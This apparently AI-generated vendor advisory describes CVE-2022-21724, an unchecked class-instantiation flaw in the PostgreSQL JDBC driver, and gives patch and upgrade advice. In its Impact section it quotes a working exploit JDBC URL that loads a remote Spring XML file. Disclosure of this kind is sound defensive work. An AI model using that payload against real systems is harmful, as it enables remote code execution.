CVE-2022-21724
Java vulnerability analysis and mitigation

Overview

pgjdbc, the official PostgreSQL JDBC Driver, was found to contain a security vulnerability (CVE-2022-21724) where the JDBC driver failed to verify if certain classes implemented the expected interface before instantiation. This vulnerability was discovered in early 2022 and affects versions >=REL9.4.1208 and >=42.3.0, with patches released in versions 42.2.25 and 42.3.2 (GitHub Advisory).

Technical details

The vulnerability stems from the JDBC driver's handling of plugin instances based on class names provided via various connection properties including authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, and sslpasswordcallback. The critical flaw was that the driver would instantiate classes without verifying if they implemented the expected interface. The vulnerability has been assigned a CVSS score of 9.8 (CRITICAL) with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (NetApp Security).

Impact

When successfully exploited, this vulnerability could lead to code execution through arbitrary classes. An attacker who controls the JDBC URL or properties could potentially execute malicious code, leading to disclosure of sensitive information, addition or modification of data, or Denial of Service (DoS). For example, an attacker could exploit this using an out-of-the-box class from Spring Framework: 'jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml' (GitHub Advisory).

Mitigation and workarounds

The vulnerability has been fixed in versions 42.2.25 and 42.3.2 of the PostgreSQL JDBC Driver. Users are strongly advised to upgrade to these patched versions or later. Various distributions have also released security updates, including Debian which fixed the issue in version 42.2.15-1+deb11u1 for the stable distribution and version 42.2.5-2+deb10u1 for the oldstable distribution (Debian Security).

Additional resources


SourceThis report was generated using AI

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management